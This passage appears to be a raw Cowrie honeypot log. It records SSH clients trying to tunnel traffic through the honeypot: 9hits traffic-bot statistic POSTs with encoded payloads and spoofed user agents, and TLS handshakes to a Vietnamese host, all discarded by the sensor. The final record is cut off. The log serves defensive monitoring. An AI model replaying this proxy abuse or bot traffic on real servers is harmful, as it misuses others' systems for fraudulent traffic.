{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.85 Mobile/17C54 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NypxfU40cT5lZkxPUjFXVg%3D%3DqFZszjxB1x1AS5afM%2Bvm%2FXNXxyC2TThMv7JwoSx8y9SjOLq7z%2Bypc5Wn7v6qwtmRC%2F7PvQnZU%2BKPYW4woUgHcuiyNlJLXDe6TeYh%2Bq9mQWyHwFpQAjWB9pKutydUlgHMpldRZJ9Y4Sa0TOgFKpl9oGJ8jqZ8LNmYIwMg4u0D8wVqGvR0cnY3YEcR%2Bhv1%2BOmlYR1cnI2dDuvDL%2FQltDGIueg9fWI3sD0tCjqFVKIjxjKgeMz6B1B76Ny3ldaCvRF4RiOxOXyjy1g%2FquHMVJJonq%2FQDYRGabzQYupsCGujZ6evlp5ypXkq9t4kOgLYJeanj%2FZQw1Am%2BGNfblBUW5pDS%2BvTlcwJoTv4HzetukL1OSh%2Bxr4zvlpt4hRlNeUj5%2Be5BtCRkdONIAsxyUWrT%2FDv%2Be%2F6dAb%2BaK0jxpXOtN3Zj4rGloJhncdURZ59o1N7yCGJYhMAVz3sG0D6zw5evPTjujgo%2Fz8Smopb0dnNaoLsbWAYhQYLAHqcKbHd5fipdKaaA9ndH1nPrvVEMferk5cO8oVCenY2qIKhD7qmcgUGxDVMC2tj3bUkCgU8%2F69x6HUJGqM%2FHwadrjolGJ%2BiohWbls1mAHfJI3xq1Re%2BVYXI6slKfEhbaDCvybsYZ9ne2jZno7fpI3mjiv8CmIe84vu%2BVqq5ZWb5BjDB3%2BEQSOh4kug746RPlMGcrmx7iNpmCKuMGFVIQ5AbOPruqY7uCElS9fs1bNkmb9EyiPzncC9IZsSdf4Wvw2yQqSMp%2Foru912Kz9xv2lOWGGoFrxu9OEhvAlFEofBh8HBpXOHxV4FD%2FNKmerkWV1MnFD%2F6bdXZKPE6fXTOwqPPdj6y7P8a1Gz6%2BXp3Ie7%2Fyna5dJGC2TliATE%2FOScbFf6Tq5kiYWT9TAWyleKYorltrVn4SzFMKtwUBZutpblJaTSSA5FukmAEeM8WTbF%2BoZ2CR2RuLg1V5uIZAHJDcIohrI5ZQSTsyJg%2Bbutnmcc%2BZp3auAsNYadvtouQOK5OrP0zYNh2RW1EC%2FM8dnMuMDzaFCCCgUZMWzETDXcW5fd9%2FWi3b5qbOeb5%2BRk%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.85 Mobile/17C54 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NypxfU40cT5lZkxPUjFXVg%3D%3DqFZszjxB1x1AS5afM%2Bvm%2FXNXxyC2TThMv7JwoSx8y9SjOLq7z%2Bypc5Wn7v6qwtmRC%2F7PvQnZU%2BKPYW4woUgHcuiyNlJLXDe6TeYh%2Bq9mQWyHwFpQAjWB9pKutydUlgHMpldRZJ9Y4Sa0TOgFKpl9oGJ8jqZ8LNmYIwMg4u0D8wVqGvR0cnY3YEcR%2Bhv1%2BOmlYR1cnI2dDuvDL%2FQltDGIueg9fWI3sD0tCjqFVKIjxjKgeMz6B1B76Ny3ldaCvRF4RiOxOXyjy1g%2FquHMVJJonq%2FQDYRGabzQYupsCGujZ6evlp5ypXkq9t4kOgLYJeanj%2FZQw1Am%2BGNfblBUW5pDS%2BvTlcwJoTv4HzetukL1OSh%2Bxr4zvlpt4hRlNeUj5%2Be5BtCRkdONIAsxyUWrT%2FDv%2Be%2F6dAb%2BaK0jxpXOtN3Zj4rGloJhncdURZ59o1N7yCGJYhMAVz3sG0D6zw5evPTjujgo%2Fz8Smopb0dnNaoLsbWAYhQYLAHqcKbHd5fipdKaaA9ndH1nPrvVEMferk5cO8oVCenY2qIKhD7qmcgUGxDVMC2tj3bUkCgU8%2F69x6HUJGqM%2FHwadrjolGJ%2BiohWbls1mAHfJI3xq1Re%2BVYXI6slKfEhbaDCvybsYZ9ne2jZno7fpI3mjiv8CmIe84vu%2BVqq5ZWb5BjDB3%2BEQSOh4kug746RPlMGcrmx7iNpmCKuMGFVIQ5AbOPruqY7uCElS9fs1bNkmb9EyiPzncC9IZsSdf4Wvw2yQqSMp%2Foru912Kz9xv2lOWGGoFrxu9OEhvAlFEofBh8HBpXOHxV4FD%2FNKmerkWV1MnFD%2F6bdXZKPE6fXTOwqPPdj6y7P8a1Gz6%2BXp3Ie7%2Fyna5dJGC2TliATE%2FOScbFf6Tq5kiYWT9TAWyleKYorltrVn4SzFMKtwUBZutpblJaTSSA5FukmAEeM8WTbF%2BoZ2CR2RuLg1V5uIZAHJDcIohrI5ZQSTsyJg%2Bbutnmcc%2BZp3auAsNYadvtouQOK5OrP0zYNh2RW1EC%2FM8dnMuMDzaFCCCgUZMWzETDXcW5fd9%2FWi3b5qbOeb5%2BRk%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:44.315612Z","src_ip":"123.27.168.40","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:44.548380Z","src_ip":"123.27.168.40","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x83K2V-BC\\xa2!_\\x8d\"\\x01s\\xbb>V\\x05\\xc8f\\xa4\\xda\\xb4}\\x15\\xa7\\x150\\xbdH\\x11] o{\\x1c$*\\xb1\\xab4\\xc1\\x80M\\x86}\\x8b\\xf9\\xe6\\xaa =\\xfc\\x05O\\x99D\\x1bfc\\xb9I\\x8e\\x16C\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd4\\x91\\x17\\xd7\\x1e_\\xe7\\x94%\\xcdU\\x0f\\x98\\x04\\xe8\\n\\x1bKm\\x9b\\xc0y\\xfe\\x93\\xb8\\xbf\\xd3\\xa7/\\xae=}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x83K2V-BC\\xa2!_\\x8d\"\\x01s\\xbb>V\\x05\\xc8f\\xa4\\xda\\xb4}\\x15\\xa7\\x150\\xbdH\\x11] o{\\x1c$*\\xb1\\xab4\\xc1\\x80M\\x86}\\x8b\\xf9\\xe6\\xaa =\\xfc\\x05O\\x99D\\x1bfc\\xb9I\\x8e\\x16C\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd4\\x91\\x17\\xd7\\x1e_\\xe7\\x94%\\xcdU\\x0f\\x98\\x04\\xe8\\n\\x1bKm\\x9b\\xc0y\\xfe\\x93\\xb8\\xbf\\xd3\\xa7/\\xae=}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:44.551443Z","src_ip":"123.27.168.40","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:45.029657Z","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:45.286535Z","src_ip":"123.27.168.40","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\xac\\xf5~\\xc4k\\xacq\\xd1J\\xed\\xd9\\xfdT\\x9ef\\x86\\x84\\xf4\\xbd\\x15\\x93d\\xf0y\\\\\\xef\\xee\\x9d3^\\x94 \\x15L\\x93\\xa2\\xdd\\xebX\\x82_\\x05\\x95\\xda\\x1d\\xb9\\xaf9\\xd6\\xc8+\\xcb\\x90\\x8e\\xe4\\x0e&%\\x00\\x82\\x86W\\x8f\\xbc\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdbm$\\x8d7\\xfa\\xd0\\xc9\\x89\\xe5\\xd8\\x7fv]\\xde1\\x1f1e\\x9b_\\x99\\x15\\x9b\\xa2G\\xf0\\xe3T\\xa2\\xa5Y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\xac\\xf5~\\xc4k\\xacq\\xd1J\\xed\\xd9\\xfdT\\x9ef\\x86\\x84\\xf4\\xbd\\x15\\x93d\\xf0y\\\\\\xef\\xee\\x9d3^\\x94 \\x15L\\x93\\xa2\\xdd\\xebX\\x82_\\x05\\x95\\xda\\x1d\\xb9\\xaf9\\xd6\\xc8+\\xcb\\x90\\x8e\\xe4\\x0e&%\\x00\\x82\\x86W\\x8f\\xbc\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdbm$\\x8d7\\xfa\\xd0\\xc9\\x89\\xe5\\xd8\\x7fv]\\xde1\\x1f1e\\x9b_\\x99\\x15\\x9b\\xa2G\\xf0\\xe3T\\xa2\\xa5Y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:45.290366Z","src_ip":"123.27.168.40","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:45.665663Z","src_ip":"123.27.168.40","session":"77df49d91a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.62234616279602,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:45.709388Z","src_ip":"128.199.8.54","session":"59d7b5caf701","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40364,"dst_ip":"159.203.135.109","dst_port":23,"session":"24f7a063e189","protocol":"telnet","message":"New connection: 128.199.8.54:40364 (159.203.135.109:23) [session: 24f7a063e189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:49.386360Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:50.370925Z","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:54:50.574075Z","src_ip":"23.148.145.132","session":"f8957034f483","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; VIA_S48_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UjhSb0B%2BVlVeTFpnJF8hRg%3D%3DTTN6Bcxcf0mNFj3LYS34BkJzAaS0zfcQxKoYwWOJU0NOhQkJPDXhUPWOqFtmbzX0rMhc3CR0U3N7baQrbUoNedaFSjFLi3AXdt6kxc8yuDFWXEWzDX4ibCjYgEgEQBq2ySjh3qMY7z00gV1UP2GLP2XeCo96%2FJNz3qkbxQcoPlxrnru849cgHlkoySSTaoTCr8yqNKjFphJqOtJVDWvVRtita50ZPH0nbfatTqMC2NXAu5mJGhi6BUic3PIyo5q0RiuIHnNtLYVDVlpaZxxpcwtEVeMH3fHnAI62%2BVl3wj32Umw%2F30AB0OZrqWzoy4LAwovVOB%2B9P4w9Nv5KvO3rXNoto9h2OwVtwYW6MkZtA2ZQ55bDn85qKMWYkOPqM5eUb2BXZRTtO4T07tVG4GxJulCX7xDSQbGtiDQ1WpxShvH2wh6DZMc7yL8dN2jZ6vO3AmCaVqslpUVRAxYZ4cg34JMpOMxCOEnejSNMVERCwJMFiw3FoevbUrQRh2o8irT%2FqPLFZ0ESnJhFpwlh44ZK2%2FmJPl9Ucm6m5vaOPsPNctCLyV6D7yLSfanC73H%2B13D4mVBDNLqJ3VJTe8%2FqUALzLXEHO6eAmE163wsRH2LEiqvO12rKaxmAQKPrV1Yrt1rY0l52mrDkCk%2FRTJ%2FTPxTYk0VPmmCeRSytOBOddbiH7lQr%2Bm9YymgCY21%2FJYw4g1sjkYh41iFGeF1W19OEOBQk8vUw%2FhPsW3xznmt1lcaUX5dfnAAMP6gPAxUvDOcdT%2BhFrpUZGK75ozqkdl3dWaGuy%2BDsHvJUNPDBeTcYGgRoBQmuz7Qh67Bw7FAdzlxL6C3%2BerTBSb%2FzF3jT0Xj2t08O8AHkEN2YdCC5IlK%2BiKnYvafU%2BVa94d%2BqnIH8MG6mT0be1qy6d4lHQBp%2BrMS9V1%2BC7iNrR6Nt7Ffg30MezkUMDwF%2FvUYQSeJNoPZNuU%2FBL6mw4CBPbJLKXBZ%2FosIcMAontgDJBLGtcI%2BZvKzEEIyAuPaaU%2BU0WKgMNig3kP%2Ba2%2BnT%2BC3TXzvrAgfMRcKugusV9MjuZ8r26s0QuWqLtD2FC%2BDrbQNwPqz9I0dHGzr3aa9y'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; VIA_S48_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UjhSb0B%2BVlVeTFpnJF8hRg%3D%3DTTN6Bcxcf0mNFj3LYS34BkJzAaS0zfcQxKoYwWOJU0NOhQkJPDXhUPWOqFtmbzX0rMhc3CR0U3N7baQrbUoNedaFSjFLi3AXdt6kxc8yuDFWXEWzDX4ibCjYgEgEQBq2ySjh3qMY7z00gV1UP2GLP2XeCo96%2FJNz3qkbxQcoPlxrnru849cgHlkoySSTaoTCr8yqNKjFphJqOtJVDWvVRtita50ZPH0nbfatTqMC2NXAu5mJGhi6BUic3PIyo5q0RiuIHnNtLYVDVlpaZxxpcwtEVeMH3fHnAI62%2BVl3wj32Umw%2F30AB0OZrqWzoy4LAwovVOB%2B9P4w9Nv5KvO3rXNoto9h2OwVtwYW6MkZtA2ZQ55bDn85qKMWYkOPqM5eUb2BXZRTtO4T07tVG4GxJulCX7xDSQbGtiDQ1WpxShvH2wh6DZMc7yL8dN2jZ6vO3AmCaVqslpUVRAxYZ4cg34JMpOMxCOEnejSNMVERCwJMFiw3FoevbUrQRh2o8irT%2FqPLFZ0ESnJhFpwlh44ZK2%2FmJPl9Ucm6m5vaOPsPNctCLyV6D7yLSfanC73H%2B13D4mVBDNLq